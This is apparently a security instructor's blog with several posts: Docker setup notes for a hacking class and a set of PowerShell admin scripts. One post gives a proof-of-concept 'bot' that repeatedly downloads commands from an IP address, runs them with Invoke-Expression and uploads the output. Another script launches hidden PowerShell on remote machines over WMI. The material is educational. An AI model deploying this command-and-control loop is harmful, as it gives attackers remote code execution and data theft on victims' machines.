Sunday, October 15, 2017

Docker - Quick Notes and How To

For an ethical hacking class that I will be teaching coming up in the near future I wanted to identify a way where I could provide students with a Kali Linux VM with docker images that they could use to learn from.  In the past, I would require the students to run at least 2 virtual machines to accomplish the tasks.  Resource constraints were sometimes an issue.

I believe with Docker running on a Kali Linux VM will work for what I need.  Here is a link to a site that you could use to walk through setting up Docker on Kali 2.x.

Link to site.

Here are some commands to get docker up and running:

#> service docker start
This will start the docker daemon that is running in the background of the Kali VM

#> docker search ubuntu
This command will search Docker Hub, internet access from the Kali VM is required, for any containers for the word ubuntu.  As you can see in the screenshot below, the name of the container, a brief description, the public rating of the container based on the number of starts, and if it is an official release from a trusted vendor.



#> docker pull <name of the container>
In the below screenshot, I am pulling down a container called raesene/bwapp.  This was after I searched for bwa or "Broken Web Apps" a project created by OWASP.  Notice that this package is not an official release and is contributed by a member of the community, this could be an unsafe docker container and contain malware.  Below you can see it as docker is pulling, downloading and extracting the container from docker hub.




#> docker images
In the below screenshot, it shows from the command the images that I have currently.  The creation date is when the container was created on Docker Hub or when you created it, for example host1 was created by me 14 hours ago.  Warning: It is very easy to download containers and run out of disk space on the VM that you are using.




#> docker run -it ubuntu bash
In the below screenshot, the command was issued to run the ubuntu container in interactive mode.  The last item in the command is bash, this tells docker to run the command bash in the container.  You are dropped into a bash shell where you can list the files in the container, etc.  Notice that the ifconfig command is not found.  As in a new install of ubuntu you can install net-tools to then be able to run ifconfig to return interface information. 


To install net-tools to the container that is running, first for ubuntu execute apt-get update, to update the repositories.


Then to install net-tools you can run apt-get install net-tools.


As observed above after installing net-tools the ifconfig command will return the interface information of the docker container.  Warning: If you type the command 'exit' you will return back to the state of the container prior to you installing net-tools.  Nothing is saved at this point-in-time.

Container #> Ctrl <p> Ctrl <q>
If you would like to save the state of the container you are working in, run the above command and it will drop you out to the docker host or the Kali VM while leaving the docker container running.

#> docker ps
The below screenshot demonstrates the execution of Ctrl <p> Ctrl <q> to jump out of a docker container, then the execution of 'docker ps' shows the container still running, the image used, the command being executed, when it was created, the uptime or status, if any network ports are mapped, and a nickname of the container assigned by docker.


#> docker attach <container ID>
#> docker attack <Names or Nickname>
You can reattach to the docker container by issuing the container ID as shown in the above screenshot or by the nickname provided by docker.

#> docker commit <container ID> <New Image Name>
After interacting with the ubuntu container, installing net tools, jumping out of the container while it is running, and now wanting to save the state the image is in I can commit the changes to a new image name.  As you can see in the image below I committed the running instance of the ubuntu image by calling it by the nickname, then saving it as ubuntu-w-nettools.  Then when you run docker images, you can see the new image available that can be run as a container.


#> docker network create --driver=bridge network1 --subnet=172.31.0.0/24
By default from what I have read docker creates a default bridged network of 172.17.0.0/16.  Wow, huge...  You can create additional networks that bridge the host VM's NIC.  The above command creates a network, that is bridged, with a nickname of network1, and assigns it the subnet 172.31.0.0/24.  Warning: Bridging across the interface may allow the container to access the internet.

#> docker network ls
#> docker network inspect network1

In the below screenshot it shows the network1 that I created above, by running 'docker network ls'.  To inspect or to get additional details about the networks I can inspect them individually.  The example below shows me the details of the network1 that I created, mainly the subnet and the driver used.  My thought here was I can control whether a container is in the DMZ or other subnet for organization.



 #> docker run -tid --network=network1 --ip=172.31.0.7 ubuntu-w-nettools bash
The above command, creates an interactive container, with the -d it places it in the background, assigns the container to the network1 or the 172.31.0.0/24 subnet, assigns the container to have the IP Address of 172.31.0.7, uses the container that we created with net-tools installed and runs the command bash.  As you can see in the below screenshot, the IP Address returned by ifconfig is the one assigned.


#> docker run -d --network=network1 --ip=172.31.0.8 raesene/bwapp
Notice in the above docker container for OWASP Broken Web Apps you do not need to run the command switches of -it to make it interactive.  As you can see in the below image I have 3 containers running, the raesene/bwapp has 2 ports mapped so I can interact with port 80 and 3306 by the IP Address assigned.



#> docker rmi image
This command allows you to remove an image from the list presented by 'docker images'

#> docker stop <nickname of container>
#> docker stop <container ID>
#> docker kill <nickname of container>
#> docker kill <container ID>

As showing below I am using the above command to stop or kill the container that is running.  Obviously a difference between stopping and killing of the running container.



Hopefully, this has been helpful.  Considering I sat down yesterday with the intention to learn about docker and within 3 hours I had a very basic understanding of how it could benefit the class that I will be teaching and in other ways in my career.  Warning again that the docker service runs as root and you should trust the containers that you download and execute, be careful, you may trust the creator but may not trust who was on the creators computer at the time.

 Enjoy.

Thursday, October 12, 2017

Powershell - Using Add-Member to Add Scripts to the objects of a File

While at Saintcon 2017, I was in a training called "Attack and Defend with Powershell" taught by Aelon Porat.  During the training he created a file with notepad and then was displaying the attributes, properties, etc. of the file.  Then I thought about a Proof-of-Concept for a bot to utilize scripts that can be added as a Script Method to a file.

The below bot calls out to an IP address to download a command that is inside of a file on a web server, stores the command as a Note Property Value with the file system object, executes the command, stores the results as a Note Property Value, and then uploads the results.  This could have been combined with less scripts, but did this to display the capability.

To run these powershell commands you need a file called note.txt in the directory where you run the powershell script below.




$ErrorActionPreference="SilentlyContinue"

# Create a file called note.txt
$file = Get-ChildItem note.txt

# Place a string value in a note property 
$file | Add-Member -NotePropertyName Status -NotePropertyValue "123456abcABC+==" -Force # Use force to overwrite the note property
$file | Add-Member -NotePropertyName Collected -NotePropertyValue "123456abcABC+==" -Force

# Have a script property attached to a file to download the bots commands and save it in status
$file | Add-Member -MemberType ScriptMethod -Name "Download" -Value {
    $webClient = New-Object System.Net.WebClient
    $noteInfo = $webClient.DownloadString("http://172.16.214.1/string.txt")
    $file | Add-Member -NotePropertyName Status -NotePropertyValue $noteInfo -Force
} -Force

# Then have a script property attached to a file to execute the comand that is placed in Status
$file | Add-Member -MemberType ScriptMethod -Name "Execute" -Value {
    $collected = Invoke-Expression -Command $file.Status 2>&1
    $file | Add-Member -NotePropertyName Collected -NotePropertyValue $collected -Force
} -Force

# Then have a script property which will upload the results
$file | Add-Member -MemberType ScriptMethod -Name "Upload" -Value {
    $postParams = @{info=$file.Collected}
    Invoke-WebRequest -Uri http://172.16.214.1/info -Method POST -Body $postParams
} -Force

while ($True) {
    $file.Download()
    Sleep -Seconds 5
    $file.Execute()
    sleep -Seconds 5
    $file.Upload()
    sleep -Seconds 5
} 
Another interesting discovery, was the Get-FileHash of the file "note.txt" does not change when a the NotePropertyValue changes, because it is applied to the variable and not the file:


Tuesday, August 15, 2017

Powershell - Gather Mapped Drives from a List of Computer Names

I created the following Powershell script to gather remotely the mapped drives that users had in their profiles.  I had to create the script to gather the mapped drives from users that were not currently logged in.  The following script is what I came up with.

Sometimes the mappedDrivesInfo.txt file that is created is not copied from the remote device because the drive mapping was unsuccessful.  I separated the file collection portion from the main script and it worked flawlessly.




$ErrorActionPreference="SilentlyContinue"

$myCreds = Get-Credential -Credentail domain\localAdmin
Remove-PSDrive X -Force | Out-Null
Remove-PSDrive Y -Force | Out-Null
New-PSDrive -Name Y -PSProvider FileSystem -Root \\server\info | Out-Null
ForEach ($cName in Get-Content compList.txt) {
    Write-Host
    Write-Host "Connecting to: $cName"
    If (Test-Connection -ComputerName $cName -BufferSize 16 -Count 1 -ErrorAction 0 -Quiet) {
        Write-Host "Connection Successful"
        New-PSDrive -Name X -PSProvider FileSystem -Root \\$cName\c$ -Credential $myCreds | Out-Null
        $u = Get-WmiObject -Class Win32_UserProfile -ComputerName $cName -Credential $myCreds -Filter { SID like '%S-1-5-21-1793613773-621299329-1849977318%' }
        $LastUsers = $u | Sort-Object -Property LastUseTime -Descending 
        If ($LastUsers) {
            ForEach ($userAccount in $LastUsers) {
                $Loaded = $userAccount.Loaded
                # Covert the date to readable format
                $Script:Time = ([WMI]'').ConvertToDateTime($userAccount.LastUseTime)
                $Script:UserSID = New-Object System.Security.Principal.SecurityIdentifier($userAccount.SID)
                $User = $Script:UserSID.Translate([System.Security.Principal.NTAccount])
                $uName = $User -replace "DOMAIN\\", ""
                Write "Found user profile for: $User Last Logon: $Script:Time SID: $Script:UserSID ComputerName: $cName"
                Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -WindowStyle Hidden -NonInteractive -c Get-ChildItem -Path Microsoft.Powershell.Core\Registry::HKEY_USERS\$Script:UserSID\Network\ | Get-ItemProperty -Name RemotePath | Format-Table PSChildName, RemotePath -Wrap > c:\users\$cName-$uName-mappedDrivesInfo.txt"  -ComputerName $cName -Credential $myCreds | Out-Null
            } 
        }
        Start-Sleep -Seconds 5
        $mappedFiles = Get-ChildItem -Filter *mappedDrivesInfo.txt -File X:\Users
        ForEach ($mFile in $mappedFiles) {
            Write-Host "Found the following mapped drive file: $mFile"
            If ($mFile.Length -gt 0) {
                cp X:\users\$mFile Y:\$mFile
                Write-Host "Copied the above file."
            }
            Else {
                Write-Host "File is empty.  Did not copy it."
            }
        }
        Remove-PSDrive X -Force | Out-Null
    
    }
    Else {
        Write-Host "Unable to connect to $cName"
    }
}
Remove-PSDrive Y -Force | Out-Null



Powershell - Create Self-Signed Certificates (Automated Method)

Recently I needed to create a powershell script to generate a Root CA and a series of certificates that tied to the Root CA.  This is a script that I created to help automate  the process. 




# Powershell Script to assist in Creating Self-Signed Certificates 
# Must be executed with Administrative Permissions to Create the Certificates for the Local Machine

function Select-RootCert
{

    Write-Host
    Write-Host "Certificates Installed under the Local Machine on your Personal Store"
    $count = 0
    ForEach ($cert in Get-ChildItem Cert:\LocalMachine\My)
    {
        $count += 1
        Write-Host $count - $cert.Subject
    }
    $selectedRoot = Read-Host "Select"
    if ([int]$selectedRoot -le $count) {
       $count = 0
        ForEach ($cert in Get-ChildItem Cert:\LocalMachine\My)
        {
            $count += 1
            if ($count -eq [int]$selectedRoot) { return $cert.Thumbprint }
        } 
    } 
    else {
        Write-Host "Invalid Selection for the Root Certificate"
    }

    return "0"
}

function Generate-RootCert
{
    # This function generates the root certificate and places it in LocalMachine\Personal Folder
    $subjectCert = Read-Host "What would you like as the Subject of the certificate (Generated Root CA)"
    if ($subjectCert -eq "") { $subjectCert = "Generated Root CA" }
    Write-Host
    Write-Host "What is the duration of time to set for the certificate?"
    Write-Host "1. 12 Months"
    Write-Host "2. 24 Months"
    Write-Host "3. 36 Months (Default)"
    $timeInput = Read-Host "Duration (3)"
    if ($timeInput -eq "1") { $timeSelected = 12 }
    elseif ($timeInput -eq "2") { $timeSelected = 24 }
    else { $timeSelected = 36 }
    # Generate a RSA2048 Self-Signed Certificate
    $newRootCA = New-SelfSignedCertificate -Subject $subjectCert -CertStoreLocation Cert:\LocalMachine\My  -NotAfter (Get-Date).AddMonths($timeSelected) 
    # CertStoreLocation - Location is on the Local Machine in the Personal Certificates Folder
    # KeyUsage - Allows the key to be used to sign other keys
    # NotAfter - Sets the Time Duration that the Certificate is Valid for...
    Write-Host
    Write-Host "Unless an error is displayed above the certificate was created successfully.  You can view the new Root CA"
    Write-Host "through the MMC snap-in for the Local Computer Certificates under the Personal Certificates."
    Write-Host
    Return $newRootCA.Thumbprint
}

function Create-ServerCert ([String]$Thumbprint)
{
    Write-Host
    $serverName = Read-Host "What is the Server Name of the Server? "
    $domainName = Read-Host "What is the Domain Name of the Server? "
    $serverName = $serverName.ToUpper()
    $serverName = "$serverName.$domainName"
    Write-Host $serverName
    if ($serverName) {
        Write-Host
        Write-Host
        Write-Host "What is the duration of time to set for the certificate?"
        Write-Host "1. 12 Months"
        Write-Host "2. 24 Months"
        Write-Host "3. 36 Months (Default)"
        $timeInput = Read-Host "Duration (3)"
        if ($timeInput -eq "1") { $timeSelected = 12 }
        elseif ($timeInput -eq "2") { $timeSelected = 24 }
        else { $timeSelected = 36 }
        Write-Host
        $addResponse = Read-Host "Specify additional FQDN or DNS entries for certificate (No is default)"
        if (($addResponse -eq "Yes") -or ($addResponse -eq "yes") -or ($addResponse -eq "y")) {
            $addNames = Read-Host "Additional FQDN or DNS entries seperated with a comma"
            $dnsNames = "$serverName, $addNames"
        }
        else {
            $dnsNames = $serverName
        }
        # Get the Generated Root CA's thumbprint that we generated
        $rootCA = (Get-ChildItem -Path Cert:\LocalMachine\My\$Thumbprint)
        New-SelfSignedCertificate -KeyExportPolicy Exportable -Subject "CN=$serverName" -DnsName $dnsNames -CertStoreLocation Cert:\LocalMachine\My -NotAfter (Get-Date).AddMonths($timeSelected) -Signer $rootCA -KeySpec KeyExchange -KeyUsageProperty All
    }
    else {
        Write-Host "The FQDN of the Server needs to be Specified"
        Write-Host
    }
}

function Show-Menu
{
    $input = "a"
    $rootCAThumbprint = "0"
    do
    {
        Write-Host
        Write-Host "===Self-Signed Certificate Management==="
        Write-Host
        Write-Host "1. Generate Root Certificate"
        Write-Host "2. Select Root Certificate to Use"
        Write-Host "3. Create Server or Client Certificate(s) with Root Certificate"
        Write-Host
        if ($rootCAThumbprint -ne "0") {
            Write-Host "Selected Root Certificate is:"
            $currentCert = Get-ChildItem Cert:\LocalMachine\my | Where-Object {$_.Thumbprint -eq $rootCAThumbprint }
            Write-Host Subject: $currentCert.Subject
            Write-Host Thumbprint: $currentCert.Thumbprint
            Write-Host
        }
        Write-Host "Q. Quit"
        $input = Read-Host "Selection: "
        switch ($input)
        {
            '1' {
                    Write-Host
                    $rootCAThumbprint = Generate-RootCert
                    Write-Host
                }
            '2' {
                    Write-Host
                    $rootCAThumbprint = Select-RootCert
                    Write-Host
                }
            '3' {
                    Write-Host
                    if ($rootCAThumbprint -ne "0") {
                        Create-ServerCert -Thumbprint $rootCAThumbprint
                    }
                    else {
                        Write-Host
                        Write-Host "No Root CA has been generated or selected." -ForegroundColor Red
                        Write-Host
                    }
                    Write-Host
                }
        }
    } until (($input -eq 'q') -or ($input -eq 'Q'))
}


Show-Menu


Saturday, February 11, 2017

Powershell - Uninstall Packages Remotely

Recently I have been contemplating how I could more efficiently uninstall or view packages that a user has installed on their computer and then uninstall those packages remotely without having to take the time of the user to do so through a remote interactive session.  


I have written the below Powershell script which will prompt you for the computers name or IP Address that you are working with.  Then it will display the installed programs (Notice in the script you can filter by a package name like Java).  Then you can call the package or packages you would like to uninstall by its name.  If your user account is recognized as a local administrator on the computer you should not have an issue.  It does allow you to use other credentials if necessary.



#Powershell program to remove packages that are specified by the user

function remove-Package($package, $compName, $credName) {
    If ($credName -eq $env:USERNAME) {
        $s = Get-WmiObject -Class Win32_Product -ComputerName $compName | Where-Object { $_.Name -match $package }
    }
    Else {
        $s = Get-WmiObject -Class Win32_Product -ComputerName $compName -Credential $credName | Where-Object { $_.Name -match $package }
    }
    If ($s) {
        Write $s | Format-Table Name, Version, IdentifyingNumber
        $uninstallPrompt = Read-Host -Prompt "Uninstall the above package(s) (y/n)"
        If ($uninstallPrompt -eq "Y" -or $uninstallPrompt -eq "y") {
            $s.Uninstall()
        }
        Else {
            Write "Aborted uninstall..."
        }
    }
    Else {
        Write "Error uninstalling $package"
    }
}

# Remote Computer Selection or . for localhost
Write ""
Write "This program is designed to display a list of applications on a computer,"
Write "allow you to choose which one to uninstall, and then uninstall it without"
Write "having to interact with the user."
Write ""
$cName = Read-Host -Prompt "Target Computer Name or IP Address (. for localhost)"
$uPrompt = Read-Host -Prompt "Use your account to connect to remote computer (y/n)"
If ($uPrompt -eq "Y" -or $uName -eq "y") { 
    $uName -eq $env:USERNAME 
}
Else {
    $uName = Read-Host -Prompt "Enter Username to Use" 
}

# List all packages on the computer
If ($uName -eq $env:USERNAME) {
    #$all = Get-WmiObject -Class Win32_Product -Filter "Name LIKE '%Java%'"
    $all = Get-WmiObject -Class Win32_Product -ComputerName $cName
}
Else {
    #$all = Get-WmiObject -Class Win32_Product -Filter "Name LIKE '%Java%'"
    $all = Get-WmiObject -Class Win32_Product -ComputerName $cName -Credential $uName
}
If ($all) {
    Write $all | Sort Name, Version | Format-Table Name, Version
    Write ""
    $userInput = Read-Host -Prompt "Uninstall a Package Listed Above (y/n)"

    DO
    {

        If ($userInput -eq "Y" -or $userInput -eq "y") {
            $packageInput = Read-Host -Prompt "Copy or Type the Name of the Package as shown above to Uninstall"
            remove-Package -package $packageInput -compName $cName -credName $uName
        }

        If ($userInput -eq "Y" -or $userInput -eq "y") {
            $userInput = Read-Host -Prompt "Uninstall another Package (y/n)"
        }

    } While ($userInput -eq "Y" -or $userInput -eq "y")
}


f


Docker - Quick Notes and How To

For an ethical hacking class that I will be teaching coming up in the near future I wanted to identify a way where I could provide students ...